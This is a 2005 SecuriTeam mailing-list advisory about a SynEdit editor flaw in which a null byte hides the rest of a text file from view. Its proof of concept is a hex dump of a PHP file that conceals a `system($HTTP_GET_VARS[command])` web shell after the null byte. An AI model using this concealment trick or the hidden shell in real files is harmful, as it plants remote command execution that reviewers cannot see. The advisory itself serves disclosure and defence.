[NEWS] SynEdit Null Code Obfuscation

From: SecuriTeam (support_at_securiteam.com)
Date: 08/25/05

  • Next message: SecuriTeam: "[NEWS] HAURI Anti-Virus Directory Traversal" 
    To: list@securiteam.com
Date: 25 Aug 2005 11:59:07 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      SynEdit Null Code Obfuscation
    ------------------------------------------------------------------------

    SUMMARY

     <http://sourceforge.net/projects/synedit/> SynEdit is a syntax
    highlighting edit control, not based on the Windows common controls For
    Borland Delphi, Kylix and FreePascal.

    An attacker can craft special text file that will hide it's information
    from any program that uses SynEdit component as main editor, and will
    allow hidden text to be compile as well.

    DETAILS

    SynEdit does not filter chars properly, which cause a null terminated char
    to stop the reading of SynEdit string that was loaded from a text file.

    Attackers can exploit this vulnerability by placing a null char inside a
    text file and malicious code, and when a user will open the text file
    using a synedit based program, the text itself (from the null terminated
    char position and forward) will not be displayed to the user.

    Proof of Concept:
    3c 3f 70 68 70 20 65 63 68 6f 20 27 68 65 6c 6c < ? p h p e c h o ' h
    e l l
    6f 21 27 3b 00 20 73 79 73 74 65 6d 28 24 48 54 o ! ' ; s y s t e m (
    $ H T
    54 50 5f 47 45 54 5f 56 41 52 53 5b 63 6f 6d 6d T P _ G E T _ V A R S [
    c o m m
    61 6e 64 5d 29 3b 20 3f 3e a n d ] )
    ; ? >

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:retrogod@aliceposta.it>
    retrogod.
    The original article can be found at:
    <http://rgod.altervista.org/devcpp.html>
    http://rgod.altervista.org/devcpp.html,
     <http://rgod.altervista.org/syn.html> http://rgod.altervista.org/syn.html

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[NEWS] HAURI Anti-Virus Directory Traversal"

    Relevant Pages